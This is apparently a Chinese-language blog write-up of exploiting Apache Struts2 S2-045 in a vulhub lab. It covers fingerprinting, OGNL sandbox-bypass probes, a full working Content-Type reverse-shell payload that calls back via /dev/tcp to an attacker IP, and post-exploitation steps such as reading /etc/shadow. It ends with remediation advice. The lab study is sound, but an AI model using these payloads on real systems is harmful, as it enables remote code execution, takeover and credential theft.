struct2(vulhub靶场)指纹识别+沙箱绕过+反弹shell+webshell

0.前言

累死我哩,怎么这么鬼多东西要学啊,真牛魔的服了,最近在搞portswigger靶场重新巩固一下基础,因为之前搞了两篇src说是危险等级不够,然后被严肃退回了,所以想着先沉淀一下,可能之后portswigger靶场会重新写几篇博客吧,不过站内已经有很多讲解了,单纯自己当笔记用了,有时候直接把AI生成的文章发博客了,单纯懒成狗了,不过AI写的反而是高质量文章吗,那我没招了,还有就是全过程都是用的bash命令行,当然也可以选择用BurpSuite,那样确实会看着更舒服,不过这里我就偷懒了

1.环境与目标

靶场 vulhub struts2/s2-045,宿主映射端口 8085
攻击机 Kali,192.168.153.128
容器 目标为 Docker 容器(hostname dfc4fbec0be8
Web 容器 Jetty 9.2.11.v20150529 (由 Server: 头确认)
运行时 OpenJDK 8 ,由 Maven jetty:run 直接启动(由 /proc/1/cmdline 确认)
项目根 /usr/src,Web 根 /usr/src/src/main/webapp

2.原理简介Struts2、OGNL 与 S2-045

简单解绍一下这些东西

2.1 Struts2 是什么

Apache Struts2 是 Java Web 的 MVC 框架(与 Spring MVC 同层竞品,2010 年代政企/教育系统广泛使用)。它的工作流是这样的:

请求 → StrutsPrepareAndExecuteFilter → ActionMapper(路由)

→ Interceptor 拦截器栈(参数封装/校验/文件上传解析)

→ Action.execute() → Result 渲染

还有几个概念要了解

2.2基础概念

概念 作用 对你打洞的意义
Action 处理请求的 Java 类,xx.action 访问 这是 "入口",payload 要发到活的 action 上
Interceptor 拦截器 一堆切面逻辑,如 文件上传解析 S2-045 就死在 "文件上传解析" 这段
ValueStack 存放当前请求数据的 "对象栈" OGNL 表达式的操作对象
OGNL 表达式语言,写值栈里的属性 / 调方法 漏洞的燃料
struts.xml 配置 Action 与拦截器 决定了哪些入口存在

这些东西先有个印象,后面讲链路时会用

2.3为什么 Struts2 漏洞特别多:OGNL

OGNL(Object-Graph Navigation Language)是 Struts2 用来读写 Java 对象属性的**表达式语言**,`%{ ... }` 包裹的字符串会被**当作 OGNL 求值

① 用户发 Content-Type: %{(#_='multipart/form-data')...}.multipart/form-data

② JakartaMultiPartRequest.parse() 解析 multipart 失败

(Content-Type 不是合法 boundary)

③ 抛 InvalidContentTypeException,异常消息里【包含了用户可控的 Content-Type 值】

④ 框架构造 LocalizedMessage 时,调用了 getText 消息处理机制

→ TextParseUtil.translateVariables(message, valueStack)

⑤ 这个工具类的职责是"把消息里的 %{...} 当表达式求值"

→ 用户输入就这样进了 OGNL 求值器

3.阶段 1: 指纹识别

其实之前那几个vulhub靶场也做了指纹识别,只不过没有写,现在手操了,想想还是写一下吧

bash 复制代码
nc -zv 192.168.153.1 8085

结果为

bash 复制代码
192.168.153.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.153.1] 8085 (?) open

前面的东西不要紧,重点是看到open,表示这个端口确实是开着的,当然nmap也可以扫,只是我这里只是确认能正常连接而已,然后:

bash 复制代码
curl -s http://192.168.153.1:8085/ | head -60
bash 复制代码
curl -sI http://192.168.153.1:8085/showcase.action
bash 复制代码
curl -sI http://192.168.153.1:8085/index.action

结果我就不一一贴出来了,通过返回就可以确认这些东西了

表格

证据 结论
<title>Struts2 Showcase - Fileupload sample</title> 确认 Struts2,官方 Showcase 演示应用
action="/doUpload.action".action 后缀 入口明确,Struts2 铁证
enctype="multipart/form-data" 正中 S2-045 的触发路径(文件上传 → multipart 解析)
Server: Jetty(9.2.11.v20150529) 容器是 Jetty

然后开始搞他了

4.阶段 2:无害验证(只加一个响应头,证明漏洞存在)

根据渗透原则,先利用最小副作用确定漏洞是否存在再投入使用。大概的思路就是让OGNL 调用响应对象的 `addHeader`,然后在响应头里面加点料让人知道这条路确实走通了------ 不执行命令、不写文件、零副作用

bash 复制代码
curl -i -s -X POST http://192.168.153.1:8085/index.action \
  -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Vuln-Proof','yes')}.multipart/form-data" \
  --data "x"

可以看到确实多出了我们添加的**X-Vuln-Proof: yes,**验证成功,漏洞确实存在

5、阶段 3:命令执行------检测与沙箱绕过

诶,有聪明的小伙伴就想到了,那好像它直接执行了把响应头上加东西,那是不是就可以直接Runtime命令执行了呢,让我们来试一下

注意:这里只是把 Runtime 对象打印出来(会显示成 java.lang.Runtime@1a2b3c),不执行任何命令------所以观察的是"能不能碰到这个类"。

bash 复制代码
cat > /root/p1s.ct <<'EOF'
%{(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-P1s',@java.lang.Runtime@getRuntime().toString()))}.multipart/form-data
EOF
curl -i -s -X POST http://192.168.153.1:8085/index.action -H "Content-Type: $(cat /root/p1s.ct)" --data "x" | head -20

坏消息,如果你用BurpSuite看的话,这个页面简直跟原本的一模一样,怎么完全没有反应捏。

好消息,竟然没有反应,但刚刚又成功了,啊呦吼,有点意思。这就说明了,不是WAF拦了(一般WAF会显示404或者406亦或者直接断联),而是有沙箱在保护,估计是有黑/白名单或者某些配置做了限制,静态方法被禁止了,看看静态属性行不行从而做进一步验证

bash 复制代码
curl -i -s -X POST http://192.168.153.1:8085/index.action -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-A',''+@java.lang.Integer@MAX_VALUE)}.multipart/form-data" --data "x"

尝试静态属性Integer@MAX_VALUE------->成功,

可以看到多了一行X-A,也就是说这个禁用的是静态方法而不禁用静态属性

在尝试一个

bash 复制代码
curl -i -s -X POST http://192.168.153.1:8085/index.action -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-B',''+@java.lang.Integer@valueOf(123))}.multipart/form-data" --data "x"

发现确实是这样

可以依次看看这些结果

实验结果
探针 表达式核心 响应 判读
P0 通道对照 addHeader('X-P0','channel-ok')实例方法 200 + X-P0: channel-ok 通道正常,实验基线成立
P1s 静态方法(危险类) addHeader('X-P1s',@java.lang.Runtime@getRuntime().toString()) 200, Content-Length: 495, 无头 Runtime 静态访问被拦
Pa 静态方法(无害类) addHeader('X-PA',@java.lang.Integer@valueOf(123).toString()) 200, Content-Length: 495, 无头 Integer 都被拦 → 被拦的不是 "危险类",而是 "静态类访问" 行为
P2s 最简绕过 (#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). + @Runtime@getRuntime() 200, 495, 无头 最简绕过无效
P3s 完整绕过 (#dm=...).(#container=#context['...ActionContext.container']).(#ognlUtil=#container.getInstance(@...OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)). + @Runtime@getRuntime() 200 + X-P3s: java.lang.Runtime@28b3c77a 完整绕过有效
P4 完整绕过 + 原响应取法 同上,但响应对象改用 @org.apache.struts2.ServletActionContext@getResponse() 200 + X-P4: sacontext-ok ServletActionContext 取法本身没问题
P5 只清名单 (#container=...).(#ognlUtil=...#getExcludedPackageNames().clear()...clear()) + @Runtime@getRuntime() 200, 495, 无头 只清名单不够
P6setMemberAccess (#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)). + @Runtime@getRuntime() 200 + X-P6: java.lang.Runtime@4c739ea4 setMemberAccess 是充分条件

逐段拆解:

C:直接覆盖#_memberAccess变量 D:调用setMemberAccess()方法修改权限

6、阶段 4:反弹 shell(拿到交互式控制)

  1. curl -i:显示完整响应头(关键!我们看新增的 X-A 头)
  2. -s:静默模式,不输出进度条
  3. -X POST:指定 POST 请求
  4. -H "Content-Type: ...":自定义 HTTP 请求头,漏洞触发点
  5. %{ ... }:Struts2 OGNL 执行标记,花括号内代码被 OGNL 执行
  6. #context:OGNL 内置上下文对象,保存了 Servlet 对象
  7. #context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']:从上下文取出HttpServletResponse响应对象
  8. .addHeader('X-A','值'):Servlet API,给返回给客户端的 HTTP 响应 增加响应头 X-A: xxx
  9. ''+@java.lang.Integer@MAX_VALUE
    • @类名@静态属性 OGNL 访问静态成员语法
    • java.lang.Integer.MAX_VALUE 整数最大值 2147483647
    • ''+转字符串,addHeader 第二个参数必须是字符串
  10. .multipart/form-data:拼在 OGNL 表达式执行结果后面,凑成 Content-Type 的值
  11. --data "x" POST 请求 body,随便传个占位数据,满足 POST 提交
  12. Integer 静态方法valueOf(123)
  13. (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS) 把 OGNL 默认的权限对象DEFAULT_MEMBER_ACCESS赋值给临时变量#dm
  14. (#_memberAccess=#dm) 把上下文的成员访问控制对象#_memberAccess直接替换成#dm清空访问限制
  15. #context['...HttpServletResponse'].addHeader('X-C',''+@java.lang.Runtime@getRuntime()) 获取 Runtime 实例对象,转字符串,添加到响应头X-C
  16. (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS) 同样拿到默认权限对象
  17. (#context.setMemberAccess(#dm)) 不是直接赋值#_memberAccess调用 OgnlContext 对象的 setMemberAccess () 方法,设置权限,关闭访问限制
  18. 然后同样拿到 Runtime 实例,写入 X-D 响应头

攻击机:开监听

bash 复制代码
nc -lvnp 4444

另外一个bash

bash 复制代码
cat > /root/s2045_shell.ct <<'EOF'
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.153.128/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
EOF

7、影响证明(最小化的后渗透认知)

授权测试的终点是**证明业务影响**,而非"打进去就完"。最小必要动作:

  1. **身份与权限**:`id`、`hostname` → 已证明 `root`;

  2. **数据可达性**:读取配置/凭据,证明"能碰到业务数据"(如 `cat /etc/shadow`、查找 `WEB-INF` 下的连接串);

  3. **提权可能性评估**:`sudo -l`、内核版本、SUID ------ **即使不提权,能指出"存在提权面"也足够写报告**;

  4. **持久化可行性**:webshell 已证明"文件在重启前持续可用"。

> **合规边界**:授权渗透测试中**不清理目标日志**(那会破坏证据链、涉嫌超范围);只清理**自己创建的测试产物**,并完整记录所做操作。

8、修复建议

  1. **升级**:Struts 2.3.32 / 2.5.10.1 及以上;

  2. 无法立即升级时,可临时移除 `JakartaMultiPartRequest` 相关解析或前置 WAF 过滤 `Content-Type` 中的 `%{`、`#`、`ognl` 等特征;

  3. 数据进入表达式/模板前**严格白名单校验**(根治:不要让用户输入进入 OGNL 求值路径);

  4. 容器内**不要以 root 运行** Web 服务,限制可写目录;

  5. 生产环境关闭详细错误信息。

相关推荐
三8443 小时前
Java 模板注入(FreeMarker)· 04 · 利用与绕过:payload 全集
java·web安全·freemarker·payload
网安老伯1 天前
都2026年了,还在问网络安全怎么入门?看完这一篇你就懂了
运维·计算机网络·web安全·网络安全·wireshark·密码学·网络攻击模型
Bruce_Liuxiaowei2 天前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
三8442 天前
Java 模板注入(FreeMarker) · 02 · 模板引擎与 FreeMarker 语法
java·开发语言·web安全·freemarker
是逍遥子没错2 天前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
网教盟人才服务平台2 天前
Spring4Shell 漏洞原理、利用手段与全场景防御方案
安全·web安全
小程序设计2 天前
网络安全漏洞综合实验场设计与开发
安全·web安全
持敬chijing3 天前
CentOS 从零搭建 LAMP 环境完整实战指南
linux·运维·web安全·网络安全·centos
Chengbei113 天前
红队新工具 ToShell 解析:自带 Web 控制台,AES+SM4 国密加密,载荷随机免杀,自主 Agent 自动完成渗透任务
人工智能·tcp/ip·安全·web安全·http·网络安全·系统安全